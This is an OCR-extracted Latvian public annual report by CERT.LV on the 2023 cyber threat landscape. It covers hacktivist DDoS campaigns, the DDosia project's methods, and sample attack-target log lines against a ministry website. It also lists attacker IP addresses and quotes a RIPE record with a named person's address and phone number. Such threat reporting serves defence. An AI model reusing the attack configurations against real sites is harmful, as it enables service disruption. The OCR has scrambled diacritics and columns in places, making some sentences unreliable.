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Parskata ieklauta visparpieejama informacija par CERT.LV aktivitatém un darbibas rezultatiem,
neietverot ierobeZotas pieejamibas informaciju. Parskatam ir tikai informativa nozime.
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levads

Parskata meérkis ir sniegt Latvijas kiberdroSibas parvaldniekiem un specialistiem
operacionali pielietojamu informaciju, analitikiem izmantojamu apkopojumu par
aizvadita gada notikumiem Latvijas un Ziemeleiropas regiona kibertelpa, ka arl
kiberdrosibas situacijas attistibas prognozes tuvakai nakotnei.

CERT.LV komanda 2023. gada par prioritati noteica draudu medibas — proaktivas
kiberuzbrucéju mekléSanas operacijas Latvijas kritiskaja infrastruktdra, lai stiprinatu
valsts nacionalajai droSibai un sabiedribai nozimigu pakalpojumu sniedzéju sistému

noturibu un drosibu.

Saja parskata ieklautd informacija

guta

sadu

CERT.LV pétniecisko

aktivitaSsu un sniegto pakalpojumu
ietvaros:

apdraudéjumu pétisana;
uzbrukuma spektra
kartésana;

incidentu risinasana;
ielauSanas testi un
kontrolétu uzbrukumu
veiksana;

draudu medibu operacijas.

Parskats satur septinas sadalas:

DDoS uzbrukumi un ietekmes
operacijas kibertelpa;
Finansiali motiveéti
uzbrukumi;

Draudu medibu operacijas;
CERT.LV IT drosibas testi un
kontrolétu uzbrukumu
veiksana;

Operacionalo tiklu un
industrialas kontroles sistému
drosiba;

levainojamibas un ietekmétas
sistémas;

2024. gada prognozes.

“
CERT.LV komanda, attistot un stiprinot

stratégisko sadarbibu gan nacionalaja, gan
starptautiskaja l[imenTt un sniedzot savu
ieguldijumu NATO kolektivaja Eiropas aizsardziba,
nenogurstosi strada, lai nodrosSinatu, ka Latvija ir
neparocigs un sarezgits meérkis kiberuzbrucejiem.

Latvijas pieeja ir balstita mérktieciga kiberdraudu
redzamibas un apsteidzosas informacijas
iegusana, tas apstradée un reakcija uz notiekoso
gan operacionala, gan stratégiski politiska limeni.

Ikviens atklatais apdraudéjuma indikators nonak
centralizéta aktivas aizsardzibas infrastruktira -
DNS ugunsmri, lai efektivi pasargatu ikvienu
Latvijas iedzivotaju, uznémumu un organizaciju,
kas izmanto CERT.LV nodrosinato aizsardzibu.”

Varis Teivans,
CERT.LV vaditajas vietnieks

Katras sadalas beigas ir ietverti arl ieteikumi kiberapdraudéjumu prevencijai, kurus
aicinam nekavéjoties Tstenot, lai paaugstinatu kiberdrosibu un efektivak aizsargatu
sava atbildiba esoSo informacijas un komunikacijas tehnologiju infrastruktdru.

%C ERT.LV
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Kopsavilkums

Kops Krievijas-Ukrainas kara sakuma kiberapdraudéjuma limenis Latvija saglabajas augsts,
atseviskam kiberuzbrukuma aktivitatém palielinoties pat septinkartigi. Tai pasa laika situacija
kibertelpa vértéjama ka stabila, un Latvijas informacijas tehnologiju (IT) infrastruktdra ir arvien
noturigaka pret kiberuzbrukumiem — Iidz Sim kiberuzbrukumi nav radijusi batisku vai paliekosu
ietekmi uz sabiedribu, tas droSibu un svarigajiem pakalpojumiem.

Tomér satraucosi ir CERT.LV draudu medibu operacijas iegltie secinajumi, ka gandriz tresaja
dala gadijumu publiska sektora meérka iestades ir lielaka vai mazaka apjoma cietuSas no
kiberuzbrukumiem, kas saistiti ar citam valstim (ar7 Krieviju).

Tas vélreiz apstiprina, ka valsti nepiecieS$ama minimalo kiberdroSibas prasibu ievérosanas
uzraudziba, ka ari viegli pieejami efektivi kiberdrosibas pakalpojumi un informacijas un
komunikaciju tehnologiju droSibas telemetrijas apstrade, kas kvalitativi un atbilstosi aktualajiem
izaicinajumiem spétu atbalstit publiska sektora tehniskos un cilvékresursus pret aizvien
pieaugosSiem kiberdraudiem. Ar CERT.LV nodroSinato bezmaksas pakalpojumu klastu aicinam
iepazities plasak - https://www.cert.lv/pakalpojumi.

Draudu medibu operacijas - proaktivu kiberuzbrucéju mekléSanu — CERT.LV saviem spékiem un
sadarbiba ar partnervalstim Latvijas informacijas tehnologiju kritiskaja infrastruktira un citas
prioritaras organizacijas veic kops 2022. gada.

Lidz 2023.gada beigam analizétas vairak neka 100 000 iekartas 25 organizacijas - Latvija ir lideris
draudu medibu operaciju organizésana un vadisana Eiropas Savieniba (ES). Tresdala organizaciju
ar augstu ticamibu identificéta citu valstu iebrucéju (APT) klatbatne, veikta identificétas
uzbrucéja klatbatnes likvidésana, ka art atklati citi bdatiski apdraudéjumi, kurus meérka
organizacijam bija iespéja novérst, pienemot datos balstitus IEmumus.

Lai piek|Utu valsts iestazu un IT kritiskas infrastruktlras resursiem, citu valstu atbalstiti uzbrucégji
izmantojusi dazadas ielausanas meéginajumu metodes: pielietota autentifikacijas Iidzek|u
piemeklésana, publiski zinamu ievainojamibu izmantosana, timek|vietnu kompromitésana, VPN
un e-pasta varteju kompromitésana, pikSkeréSana un mérkéta |aunatlras piegade ar e-pasta
starpniecibu. Vairak neka piecos gadijumos sakotnéjo piekluvi uzbrucéjs realizéja,
kompromitéjot IT atbalsta, programmatiras izstrades vai apsardzes pakalpojumu sniedzéjus
privata sektora, lai péc tam izmantotu iespéju piek|Gt organizaciju klientu korporativajiem
tikliem un informacijas sistémam. Biezi kompromitétas publiska tikla eksponétas, nedrosi
konfigurétas timek|vietnes vai informacijas sistémas, attalinatas vadibas pakalpojumi (RDP) un
Jaunatiira piegadata e-pasta.

Uzbrucéji péc sakotnéjas piekluves ieglSanas visbiezak centuSies izvérst savu klatbatni
korporativa tikla un kompromitét Windows aktivas direktorijas infrastruktlru, lai gltu péc
iespéjas plasaku kontroli. Tiesi uzbrukuma sakotnéja fazé uzbrucéja darbibas ir neuzmanigakas,
pamanamakas, un vieglak novérSsamas, tapéc ir kritiski svariga centralizéta un efektiva
korporativa tikla, serveru un visa droSibas perimetra telemetrijas apkoposSana un apstrade. Lai
efektivi pasargatu organizaciju informacijas tehnologiju infrastruktiru, CERT.LV piedava
Informacijas tehnologiju drosibas likuma subjektiem plasu kiberdroSibas pakalpojumu klastu.

Politiski motivéti pakalpojumu atteices uzbrukumi (DDoS), ko veic Krieviju atbalstoSo haktivistu
grupéjumi, turpinas vilnveidigi un ir mérkéti pret Latvijas valsts parvaldi un specifisku nozaru
uznémumiem. Sekmigo uzbrukumu ipatsvars samazinas - tas liecina par Latvijas informacijas
tehnologiju infrastruktlras gatavibu, Aizsardzibas ministrijas finanséta centralizéta aizsardzibas
pakalpojuma efektivitati un elektronisko sakaru operatoru spéju nodrosinat pakalpojumus
ilgstoSa aréja uzbrukuma rezima. Batiski nepielaut Latvijas IT infrastruktdras iesaistiSanu
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kiberuzbrukumos un uzbrukuma iespéjas no valsts iekSienes, jo ar Krieviju saistiti
telekomunikaciju uznémumi apzinati veido klatesamibu Latvija un citas ES dalibvalstis.

Finansiali motivétos uzbrukumos turpina aktivi izmantot pikSkeréSanu, ka arl dazadas
krapnieciskas investiciju platformas, izkrapjot no Latvijas iedzivotajiem vairak neka 1 milj. eiro
katru ménesi. Pret uznémumiem turpinas darijumu sarakstes kompromitésanas uzbrukumi,
pieklistot uznémuma e-pasta sarakstei un realos darijumos piesttot rékinus ar mainitiem
maksajumu rekvizitiem.

llgstosi krapnieki sazinai lietoja krievu valodu, ta¢u gada beigas konstatétas kampanas ar sazinu
nevainojama latvieSu valoda gan balss, gan rakstiska forma. Sagaidams, ka uzbrucéji arvien
plasak pielietos jauno tehnologiju, tai skaitd “maksliga intelekta” / lielo valodu modelu riku
iespéjas krapSanas satura un valodas kvalitates uzlaboSanai, balss un attéla viltoSanai,
dezinformacijas un cita maldinosa materiala veidoSanai.

levainojamibas un ietekméjamas IT sistemas ir pieaugoSs risks, ko ietekmé jaunatklatas
kritiskas ievainojamibas, nepareiza IT sistemu konfiguracija, ka ari novecojusi IT risinajumi.
Spéjigakie uzbrucégji kjGst arvien atraki, pielietojot jaunatklatas ievainojamibas plasa méroga jau
1-2 dienu laika kop$ to izzinoSanas. Pret organizacijam ar augstu droSibas limeni novéroti
piegades kézu uzbrukumi — piekluvi mérkim ieglst, veicot uzbrukumus programmatdras
izstradatajiem u.c. arpakalpojumu sniedzg&jiem.

Nemot véra Ukrainas pieredzi pilna méroga kara ar agresorvalsti Krieviju, CERT.LV komanda ir
pati veikusi virkni dazadu kontrolétas ielausanas méginajumu un ievainojamibu apzinasanas
pasakumus Latvijas IP adreSu apgabalos un .lv doménu zona, lai identificétu ievainojamas
sistémas pirms to ir izdarijis uzbrucéjs. Veikta arT publiski eksponétu un ievainojamu
novérosanas kameru mekléSana, atrodot vairak neka 200 iekartas objektos, kuru nesankcionéta
vai pat publiska videonovéro$ana nav vélama.

Izveidota koordinétas ievainojamibu atklasanas platforma cvd.cert.lv, kas sekmigi kalpo ka
sazinas tilts starp kiberdroSibas pétniekiem (baltajiem hakeriem) un Latvijas iestadém un
uznémumiem.

Parskata perioda CERT.LV veica 16 liela apjoma IT drosSibas testus un vairakas kontrolétu
uzbrukumu simulacijas, kuru gaita tika atrastas un novérstas vairakas butiskas ievainojamibas.
Veicot automatizétu droSibas skenésanu vairak neka 2 700 .gov.lv zonas doménos, tika identificéti
vairaki desmiti resursu ar novecojusam versijam, kas satur publiski zinamas ievainojamibas. CERT.LV
pakalpojumu ietvaros veiktas pikSkerésanas uzbrukumu simulacijas, testéta vairak neka 8 000 valsts
parvaldes iestazu darbinieku modriba un mérka iestazu spéja identificét datu noplides.

Operacionalo tiklu (OT) un industrialas kontroles sistemu drosibas pétniecibas ietvaros
parbaudita energétikas un transporta operacionalo sistému droSiba. Analizéjot pielietotos
protokolus, signalizacijas un veicot industrialas vadibas sistému programmatiiras reverso
inZenieriju, gltas jaunas atzinas un identificéti droSibas riski. Parbaudés konstatéti ieprieks
neidentificéti drosibas riski, tacu tie visi ir kontroléjami, ievieSot atbilstosas proceddras.

Uzsakts projekts pie OT sensoru izveides, un izveidots Latvija pirmais OT DroSibas operaciju
centrs, kas nodrosinas nepiecieSamo kompetenci un atbalstu valsts kritiskas IT infrastrukttras
turétajiem.

DNS ugunsmiris - aktivas aizsardzibas risinajums - pasarga no krapniecisku vietnu un |aunpratigi
registrétu doména vardu apmeklésanas, to bez maksas nodrosina CERT.LV un NIC.LV. Salidzinot
ar 2022. gadu, pakalpojuma lietoSana pieaugusi 5 reizes, ménesi apstradajot 1,5 miljonus DNS
pieprasijumu. 2023. gada 4. ceturksni apméram pusmiljons reizu pakalpojums ir pasargajis
lietotajus (unikalos) no Jaundabigu vietnu apmekléSanas. 2024. gada rudeni ir paredzéts
nodrosinat DNS ugunsmira mobilas lietotnes “Apple” i0S un “Android” mobilo iericu
lietotajiem.

V’VCERT' LV
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TUNEE

Pakalpojuma atteices uzbrukumi
un ietekmes operacijas kibertelpa

2023. gada septembri notika vairaki agresivi pakalpojuma atteices (DDoS) uzbrukumi lielam
skaitam meérku Latvija. Uzbrukuma laika vairaki resursi bija Tslaicigi nepieejami. Starp
skartajiem resursiem bija tadas iestades un resursi ka Saeima, Ministru kabinets,
Aizsardzibas ministrija, Arlietu ministrija, Ekonomikas ministrija, Finan3u ministrija,
Satiksmes ministrija, CERT.LV majas lapa un mediju platformas (LSM.LV, TVNET.LV). Soreiz
uzbrukumu sarezgitiba un jauda bija daudz rapigak gatavota neka vienkarSiem piekluves
atteices uzbrukumiem, tacu art ar So uzbrukumu

ietekmi izdevas veiksmigi tikt gala. Kiberuzbrucéju motivi un

Septembra sakuma kiberapdraudéjumu | jzcelsme atskiras, tacu kop3
izlukinformacija liecinaja, ka tiek planoti uzbrukumi | 2022. gada Krievijas pilna
sabiedriskas  iniciativas  projektu portalam
manabalss.lv, uzbrucéjiem meéginot taja atrast
ievainojamibas.

meéroga iebrukuma Ukraina
DDoS uzbrukumus Latvijai,
Eiropas Savientbas un NATO
Balstoties uz iespéjamiem draudiem, portals | alianses valstim visbiezak
manabalss.lv ka atbildes reakciju izvél€jas serveru | organizé ar Krieviju saistiti
pieejas ierobezosanu, kas raisija baumas par it ka | grypgjumi, kas tiek dévéti par
veiksmigu  uzbrukumu. Publiskota uzbrucéju
informacija, izmantojot “Telegram”, Skietami
liecinaja, ka no portala ir izglti dati (tika publiskots
saraksts ar vardiem un uzvardiem personam, kuras
it ka ir balsojusas par iniciativu, lai nepagarinatu
uzturésanas atlaujas valodas prasibam
neatbilstoSajiem Krievijas pilsoniem). lzvértéjot
apstaklus, tika secinats, ka S ir haktivistu
dezinformacijas kampana, jo kiberuzbrukums nebija noticis, un cilvéku saraksts nekorelé&ja ar
tiem, kas tieSam bija balsojusi.

haktivistiem.

Vienlaicigi konstatéts, ka publiskotais saraksts ar vardiem nebija nejauss, taja bija ieklauti
gan dazadu valsts iestazu darbinieku vardi, gan ari cilvéki, kas aktivi paudusi atbalstu
Ukrainai dazadas platformas. Sagaidams, ka ari 2024. gada hibrida rakstura uzbrukumi
turpinasies, visticamak, vél plasaka spektra, un agresorvalsts testés sabiedribas reakciju un
noturibu.

Tapat parskata perioda viens no agresivakajiem kiberuzbrukumiem notika 14. novembrT un
atkartoti 22. novembri, kad haktivistu grupéjums “Killnet” izplatija informaciju platforma
“Telegram”, aicinot veikt DDoS uzbrukumus dazadiem mérkiem Baltijas regiona — taja skaita
pret aizsardzibas sektoru un valsts droSibas iestadém. CERT.LV apkopota informacija liecina,
ka notikuSo kiberuzbrukumu ietekme Latvija vértéjama ka nebdatiska, proti, ietekme nav
bijusi vai ari ta bijusi T1slaiciga. CERT.LV sniedza rekomendacijas aktivas aizsardzibas
risinajumu un procediru uzlabosanai, kur tas bija nepiecieSams.
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Lielaka dala So kiberuzbrukumu ir nesekmigi,
tacu tas netraucé haktivistu grupejumiem Krievijas agresivo politiku
izplatit safabricétus veiksmes stastus savos , atbalstoSo kiberuzbrucéju
“Telegram” kanalos, kurus Krievijas mediji péc noluki ir ne tikai tehniski
tam plasi tiraze. Tada veida tiek méginats ari panakt mérka sistémas
veikt spéka un Krievijas parakuma
demonstraciju agresijas atbalstitajiem
galvenokart pasas Krievijas sabiedriba. “Killnet”
ka apvienibas spéju [imenis vértéjams ka zems.
Sobrid tas ir izjucis, “Telegram” kanals pardots ' iespéjas plasaku

ar narkotisko vielu tirdzniecibu saistitai ' neapmierinatibu un rezonansi
personai Krievija, un patiesais “Killnet” projekta sabiedriba, vairot publiskus
aizsacéjs tika ilgstoSi nomelnots. DroSibas pazinojumus par uzbrucéju
pétniekiem izdevies atklat personas, kura
uzturéja “Killnet” kanalu, identitati, atrasanas
vietu, darbavietu un citu informaciju, kas var
noderét tiesibsargajosam iestadéem.

nepieejamibu, lai kaitétu
sistémas turétajam un
lietotajiem, bet ari radit péc

grupéjumu darbibu un to
rezultatiem, stiprinat Krem|a
impeérisko agresiju un narativus

. o o pret NATO.
Viens no pamanamakajiem grup&jumiem

2023. gada ir bijis NoName057(16), kas uztur

DDosia Project. Atskiriba no ierasta DDoS uzbrukuma modela, kad uzbrucgji izmanto
atvértus servisus (pieméram, opendns, openntp) vai kompromitétas iekartas, DDosia
Project izmanto Krievijas agresivo reZimu atbalstoSo “Telegram” grupu dalibnieku IT
resursus, ka ari komercialus uzbrukuma pakalpojumus. Grupéjums iegadajas citu
uzbrucéju iegltus piekluves datus, tapat savus biedrus motivé finansiali, piesolot
aktivakajiem uzbrucéjiem samaksu. Novérots, ka bieZi vien kiberuzbrucéji viens otru
apkrapj.

DDoS metodes

DDosia haktivisti sanem rikus un detalizétas instrukcijas, ka labak veikt uzbrukumus,
savukart arpus Krievijas esoSos haktivistus aicina izmantot VPN, lai sléptu savas pédas.
Ja uzbrukuma dalibnieki lieto Krievijas IP adreses, tad viniem sola aizsardzibu.

Fragments no instrukcijas:

https://telegra[.]ph/Instrukciya-dlya-uchastnikov-proekta-DDoSia-Project-12-04

If the computer is located on the territory of the Russian Federation, then even without
using a VPN, it is extremely unlikely that there will be any problems with the law.

Uzbrukums tiek veikts no haktivistu iekartam, izmantojot vairakus DDoS uzbrukumu
veidus, tos koordiné DDosia projekta kuratori. CERT.LV apkopota statistika rada, ka
izvéleétas uzbrukumu metodes galvenokart pieskanotas timeklvietnu pieejamibas
ietekmésanai.
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1. attéls. DDosia uzbrukumu metodes (%)

m GET
= POST
= syn

PING
- (empty) = 1.04
= udp_flood
m syn_ack

m ack

u SYN

Lielakais uzsvars no uzbrucéju puses likts uz OS/ mode/a lietojuma (application) limena
kiberuzbrukumiem - tiek izmantotas GET un POST HTTP metodes. POST metodes
galvenokart tiek pielietotas uz meklésanas formam, ja tadas tiek atrastas meérka
sistémas, lai parslogotu datubazes vadibas un timekla (WEB) serveru darbibu. Bez GET
un POST pieprasijumiem tiek izmantoti arl klasiskie TCPsyn, ICMP un UDP flood
uzbrukumi.

Piemers:
1678392585 POST www.mfa.gov.lv 212.70.163.179 443 1 /lvfsakumlapa?ajax_form=1& wrapper_for...
1678392585 POST www.mfa.gov.lv 212.70.163.179 443 1 fv
1678392585 GET www.mfa.gov.lv 212.70.163.179 443 1 flvjsearch?q=5%_1
1678392585 syn www.mfa.gov.lv 212.70.163.179 443 1

Tiek pielietotas dazadas metodes, lai ietekmétu timekla (WEB) servera darbibu.

Bez daudziem POST un GET pieprasijumiem, tiek izmantots ari ngnix-loris, kas ir
vésturiski uzbrucéjiem labi zinamas rikkopas Slowloris DoS Attack sastavdala. Sis
uzbrukuma veids tiek izpildits ar periodiskiem HTTP pieprasijumiem, noturot atvértu
sesiju. Daudzas atvértas sesijas uz timekla servera var radit parslodzi, tadé| jaunas
sesijas atvért vairak nav iespéjams, liedzot legitimiem lietotajiem apmeklét timek]a
vietni.
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2. attéls. Kiberuzbrukumu metodes web servera darbibas ietekmésanai (%)

= HTTP

m HTTP2

= TCP
ngnix-loris

m HTTP3

IT kritiskas infrastruktlras un IKT pakalpojumu resursiem Latvija uzbrik regulari. Nedéla
bez organizétiem DDoS uzbrukumiem sastopama saméra reti.

3. attéls. DDoS uzbrukumi 2023. gada griezuma

Skaits

II-. I am 0 [ | -l I

Parskata perioda visbiezak DDoS uzbrukumiem paklautie mérki bija valsts iestades, ka
ari transporta un tranzita nozares un energétikas nozares uznémumi.

Interesants noverojums ir tiesi ar kadu Latvijas ostas timek|vietni ka vienu no visbiezak
kiberuzbrukumam pakJautam timek|vietném. Tas skaidrojams ar to, ka $Sai pasai
kiberuzbrucéju grupai viena no sakotnéjam uzbrukuma kampanam bija vérsta tiesi pret
ostam, transporta un tranzita nozari, ka rezultata vienas ostas timek|vietne kluva
nepieejama uz vairakam dienam.

Uzbrucéji savus retos panakumus atzimé un turpina Sis sistémas ieklaut mérku saraksta
art turpmak, tomér galvenais So uzbrucéju mérkis ir panakt rezonansi sabiedriba, tapéc
meérkétas kiberuzbrukumu kampanas tika organizétas pret kadu transporta un tranzita
nozares uznémuma bilesu tirdzniecibas sistému, kadu autostavietu apmaksas lietotnes
infrastruktdru, ziedoSanas projekta portalu , ka arl vienotas pieteikSanas portalu
Latvija.lv un daudziem citiem sabiedriba plasi lietotiem tieSsaistes pakalpojumiem.

Neraugoties uz to, ka Latvija ilgstosi ir bijusi TOP 3 meérkis Krievijas agresiju
atbalstoSiem hakeru grupéjumiem, CERT.LV sadarbiba ar Latvijas IKT pakalpojumu
sniedzéjiem un elektronisko sakaru operatoriem izcili pretstavéjusi Siem izaicinajumiem,
panakot, ka sabiedriba uzbrukumu ietekmi lielakaja dala gadijumu nesajat.
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Analizéjot neskaitamus DDoS uzbrukumus un tajos iesaistttos resursus un izcelsmes
tiklus, CERT.LV secina, ka:

e |P adreses, kuras izmanto haktivisti, loti biezi ir VPN servisi, kompromitéti
serveri un majas vai biroju tiklu marsrutétaji. Nereti uzbrukumu avots ir tikls, no
kura tiek veikti vairaki kiberuzbrukumi vienlaicigi. Virtualo serveru pakalpojumu
sniedzéji, kuri pienem norékinus kriptovalQtas, tiek izmantoti visbiezak.

e Kiberuzbrukumos bieZi iesaistitie tikli pieder uznémumiem, kuriem ir registréti
IP adresSu apgabali visa Eiropa, tai skaita Latvija. Nereti Siem uznémumiem ir
Skietama saistiba ar Krieviju, bieZi tie registréti arzonas. Turklat, analizéjot BGP
marsrutus un iesaistitos pakalpojumu sniedzéjus Latvija, kas Siem uznémumiem
nodroSina starpsavienojumus, novérojama to saikne ar Krieviju un Skietami
apzinata resursu uzturé$ana nelegitimdam darbibam. Saja kontekstd Tpasi
negativi izcelams uznémums “STARK INDUSTRIES SOLUTIONS LTD”.

e Sadarbiba ar drosibas dienestiem incidentu ietvaros analizétie dati liecina, ka
kiberuzbrukumiem izmantoti vairaki speciali sagatavoti VPN serveri Latvija:

|| 213.21.198.23 || LV | | AS8285 Versija SIA || VPN (IKE) 500 / udp
|| 213.21.198.182 || LV || AS8285 Versija SIA || VPN (IKE) 500 / udp

|| 213.21.209.37 || LV || AS8285 Versija SIA || VPN (IKE) 500 / udp

|| 213.21.198.19 || LV | | AS8285 Versija SIA || VPN (IKE) 500 / udp

|| 213.21.198.185 | | LV | | AS8285 Versija SIA || VPN (IKE) 500 / udp

|| 195.123.214.92 || LV || AS50979 ITL LLC | | vds-966578.hosted-by-itldc.com | 22 TCP
|| 195.123.214.196 | | LV || AS50979 ITL LLC | | vds-872676.hosted-by-itldc.com | 22 TCP
|| 195.123.212.97 || LV || AS50979 ITL LLC || vps.hostry.com | 22 TCP

e Tapat analizétie dati liecina par kiberuzbrukumiem no speciali veidotiem tikliem,
kuriem ir novérojama saistiba ar Krieviju.

CERT.LV novérojumi par kiberuzbrukumu aktivitatém no uznémuma, kas registréts ar
klatbGtni liela dala ES dalibvalstu, sakrit ar acimredzamu plasa méroga kiberuzbrukumu
kampanu, kuru redz ari viens no lielakajiem pasaules tieSsaistes satura piegades tikliem
“Cloudflare, Inc.” (sk. 4., 5., 6. attélu). CERT.LV novérojumi liecina, ka viens no biezakajiem ar
Krieviju saistito haktivistu DDoS uzbrukumu avotiem ir saistams tieSi ar uznémumu, kam
registrétas tikla autonomas sistémas numurs AS48108.

Turklat publiski pieejama informacija rada, ka uznémuma tikli ir registréti Eiropas interneta
protokola adresu tikla koordinacijas centra (RIPE NCC) ar dazadiem uznémumiem un ar
dazadam lomam, taja skaita “STARK INDUSTRIES SOLUTIONS LTD”, “Cloud Hosting Solutions,
Limited”, “VirtualDC Project” "Dmitrii Vladimirovich Malkov".

Nemot véra CERT.LV apkopoto informaciju bltu vértéjams, vai uznémums darbojas ka
piesegs ar Krievijas agresiju saistitiem kiberuzbrukumiem.

RIPE NCC publiskas datubazes (www.ripe.net) ierakstu piemérs:

organisation: ORG-DVMA4-RIPE

org-name: Dmitrii Vladimirovich Malkov
country: RU

org-type: LIR

address: Ugreshskaya st. 2c - 147
address: 115088
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address: Moscow

address: RUSSIAN FEDERATION
phone: +74951287022
admin-c: VN3582-RIPE

tech-c: VN3582-RIPE

abuse-c: AR64133-RIPE
mnt-ref: lir-ru-virtualdc-1-MNT
mnt-by: RIPE-NCC-HM-MNT
mnt-by: lir-ru-virtualdc-1-MNT
created: 2021-08-20T10:55:182
last-modified: 2021-08-20T10:55:192
source: RIPE # Filtered

role: VirtualDC Project

address: LV-1011, Latvija, Riga, Dzirnavu iela 87
nic-hdl: VP15033-RIPE

mnt-by: virtualdc-mnt

created: 2020-08-24T07:49:542

last-modified: 2020-08-24T07:49:54Z

source: RIPE # Filtered

Ka redzams 4. attéla, kiberuzbrukumiem tiek izmantoti IP adreSu apgabali, kas registréti un
marsrutéeti ari Latvija. Tas kiberuzbrucéjam dod priekSrocibu uzbrukt valsts iekSiené.

4. attéls. “Cloudflare, Inc.” informacija par kiberuzbrukumiem, izmantojot “STARK

INDUSTRIES SOLUTIONS LTD” tiklu

Cloudflare Radar Q

@ overview Security & Attacks from AS48108
VIRTUALDE

& Traffic

%) Security & Attacks Attack volume

© Adoption & Usage Relative change from previous period o2

27 Internet Quality = application layer

& Email Security (New
& Routing

~7 Domain Rankings

A\ Outage Center
& URL Scanner
4 My Connection
Application layer attack volume
[ Reports

& ae

Layer 7 attack volume trends over time from the selected location or ASN (7) ¢

2023-01-10 — 2023-02-10 &
»WAF Top source of application layer attacks
97% Top five locations
Location Percantage
1. Latvia 99.9%
2. Russian Federation 01%
DDeS
2%
Traffic
Insight into the compasition of traffic seen by Cloudflare

Mobile vs. Desktop

Mabile device vs. desktop traffic distribution (2

Tapat neparasta situacija novérojama ST uznémuma tikla, ta saucamo botu (automatizétas
launpratigam aktivitatém paredzétas sistémas) un legitimu lietotaju proporcija (sk. 5. attélu).
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5. attéls. “Cloudflare, Inc.” informacija par kiberuzbrukumiem, izmantojot
“STARK INDUSTRIES SOLUTIONS LTD” tiklu

Bot vs. Human
Bot (automated) vs. human traffic distribution @ 033

e Bot Human

63.9% 36.1%

Tue, Jan 17

Sat, Jan 21 Wed, Jan 25 Sun, Jan 29 Thu, Feb 2 Mon

Uznémuma komercdarbiba, iespéjams, nodroSina atbalstu Krievijas agresijai, pieméram,
uznémums ir izveidojis savu infrastruktlru dazadas valstis Eiropa un nav veicis ierobeZojosus
pasakumus, vai nav veicis tos pietiekama apméra, lai mazinatu nelegitimo aktivitati, kas
nodrosina iespéju kiberuzbrucéjiem péc nepiecieSamibas uzbrukumus veikt no valsts, kur tas
ir izdevigak, ar1 ekskluzivi no Krievijas Federacijas — tas uzskatami redzams 6. attéla.

6. attéls. “Cloudflare, Inc.” informacija par kiberuzbrukumiem, izmantojot “STARK
INDUSTRIES SOLUTIONS LTD” tiklu

2. Cloudflare Radar Q searchf
@ Overview Security & Attacks from AS48108 2023-08-01 — 2023-10-31 )
VIRTUALDC
& Traffic
%) Security & Attacks Attack volume o WAF Top source of application layer attacks
63% P o
© Adoption & Usage Relative change from previous period o<
%7 Internet Quality w— Application laye Location Percentage
1. Russian Federation 100.0%
& Email Security Hew \/\,u /\ ’ 2. Latvia 0.0%
Routin:
® 9 \A / \ /\J\/‘\f \/\/‘\
»7 Domain Rankings W DDoS
A ikage Casier Aug S, A . 20%
&Y URL Scanner
4 My Connection
Application layer attack volume Traffic
[ Reports
Layer 7 attack volume trends over time from the selected location or ASN (@) ht into the composition of traffic seen by
(=R dftare
= Layer (7) attack Volume s=» Previous 7 d
Mobile vs. Desktop
Mobile device vs. desktop traffic distribution (2) &
P
nox -
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Salidzinajumam 7. - 8. attéla var apskatit piemérus, ka botu un legitimu lietotaju skaita
proporcija izskatas divos lielakajos Latvijas mobilo sakaru operatoru tiklos - “Tele2” un
“LMT”.

7. attéls. Botu un legitimu lietotaju skaita proporcija “Tele2” tikla

#2. Cloudflare Radar Q_ search for locations, autonomous systems, reports, domain and IP address information
(@ overview Overview for AS1257
— SWIPNET
& Traffic

Bot vs. Human |
9 Security & Attacks

Bot (automated) vs. human traffic distribution ()
@ Adoption & Usage

e Bot == Human
%7 Internet Quality 8.4% 91.6%
100%
@ Routing 90%
80%
A Domain Rankings 70%
60%
) Email Security New iﬁ:
30%
A Outage Center 20%
10%

&Y URL Scanner oK

T ! ' 1 ' !
Sun, Dec 24 Sun, Jan 7 Sun, Jan 21 Sun, Feb 4 Sun, Feb 18 Sun, Mar 3

8. attéls. Botu un legitimu lietotaju skaita proporcija “LMT” tikla

42 Cloudflare Radar Q_ search for locations, autonomous systems, reports, domain and IP address information
@ overview Traffic from AS24921

LMT-3G
& Traffic

Bot vs. Human
D) Security & Attacks
Bot (automated) vs. human traffic distribution () g
© Adoption & Usage
e Bot e Human

%7 Internet Quality 6.3% 93.7%
@ Routing

7 Domain Rankings
) Email Security New
/\ Outage Center

@ URL Scanner

4 My Connection 0%

Sun, Dec 24 Sun, Jan 7 Sun, Jan 21 Sun, Feb 4 Sun, Feb 18 Sun, Mar 3

[f; Reports

“Cloudflare, Inc.” informacija precizi sakrit ar CERT.LV novérojumiem par So
kiberuzbrukumu izcelsmi.

IP adreses, kuras DDoS uzbrukumos piedalijusas izteikti biezi:

7.102.131.94.in-addr.arpa domain name pointer vm1662748.stark-industries.solutions.
202.98.131.94.in-addr.arpa domain name pointer vps.hostry.com.
52.34.67.45.in-addr.arpa domain name pointer vm1622583.stark-industries.solutions.
100.102.131.94.in-addr.arpa domain name pointer vm1696875.stark-industries.solutions.
89.102.131.94.in-addr.arpa domain name pointer vm1586419.stark-industries.solutions.
89.102.131.94.in-addr.arpa domain name pointer vm1586419.stark-industries.solutions.
52.34.67.45.in-addr.arpa domain name pointer vm1622583.stark-industries.solutions.
107.99.131.94.in-addr.arpa domain name pointer vm620239.stark-industries.solutions.
94.99.131.94.in-addr.arpa domain name pointer vm1560706.stark-industries.solutions.
4.99.131.94.in-addr.arpa domain name pointer vm609614.stark-industries.solutions.
98.99.131.94.in-addr.arpa domain name pointer vm620214.stark-industries.solutions.
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111.99.131.94.in-addr.arpa domain name pointer vm620248.stark-industries.solutions.
167.213.142.45.in-addr.arpa domain name pointer vm1648151.stark-industries.solutions.
201.146.43.193.in-addr.arpa domain name pointer vm604901.stark-industries.solutions.
247.146.43.193.in-addr.arpa domain name pointer vm609777.stark-industries.solutions.
196.146.43.193.in-addr.arpa domain name pointer vm604885.stark-industries.solutions.
198.146.43.193.in-addr.arpa domain name pointer vm604893.stark-industries.solutions.
194.146.43.193.in-addr.arpa domain name pointer vm604877.stark-industries.solutions.
|| 217.114.43.224 || RU || AS199785 Cloud Hosting Solutions, Limited. ||

|| 45.132.1.176 || DE || AS199785 Cloud Hosting Solutions, Limited. |
|| 89.107.10.70 | | DE || AS199785 Cloud Hosting Solutions, Limited. |
|| 89.107.10.68 || DE || AS199785 Cloud Hosting Solutions, Limited. |
|] 212.192.31.20 || DE || AS199785 Cloud Hosting Solutions, Limited. ||
|| 185.196.117.141 || NL || AS57043 Hostkey B.v. ||

|| 89.19.213.63 || PL | | AS200088 Artnet Sp. z 0.0. | |

|| 146.19.207.225 || DE || AS199785 Cloud Hosting Solutions, Limited. ||

|| 89.19.213.213 || PL || AS200088 Artnet Sp. z 0.0. | |
